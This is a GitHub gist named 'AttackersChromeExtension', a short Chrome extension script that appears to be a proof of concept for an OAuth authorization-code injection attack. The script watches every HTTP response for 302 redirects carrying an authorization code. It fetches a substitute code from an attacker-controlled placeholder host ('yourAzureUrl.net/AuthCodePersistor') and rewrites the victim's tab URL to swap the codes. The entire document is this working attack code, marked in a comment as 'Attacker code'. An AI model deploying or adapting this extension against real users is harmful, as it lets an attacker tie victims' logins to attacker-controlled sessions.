Created
January 6, 2024 04:53
-
-
Save DavidKlempfner/aecc42460047fa8d0045191d30b8609d to your computer and use it in GitHub Desktop.
AttackersChromeExtension
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const callback = function(details) { | |
if (details.statusCode === 302) { | |
const locationHeader = details.responseHeaders.find(x => x.name.toUpperCase() === 'LOCATION'); | |
const callbackPath = '/authentication/callback?code='; // Update this with whatever path your browser uses to send the authorization code to the client app | |
if (locationHeader && locationHeader.value.includes(callbackPath)) { | |
const authCode = locationHeader.value.split('=')[1].split('&')[0]; | |
// Attacker code: | |
fetch('https://yourAzureUrl.net/AuthCodePersistor').then(r => r.text()).then(result => { | |
const newUrl = locationHeader.value.replace(authCode, result); | |
chrome.tabs.update(details.tabId, {url: newUrl}); | |
}); | |
} | |
} | |
return { responseHeaders: details.responseHeaders }; | |
} | |
const filter = { urls: ["*://*/*"] }; | |
chrome.webRequest.onHeadersReceived.addListener(callback, filter, ["responseHeaders"]); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment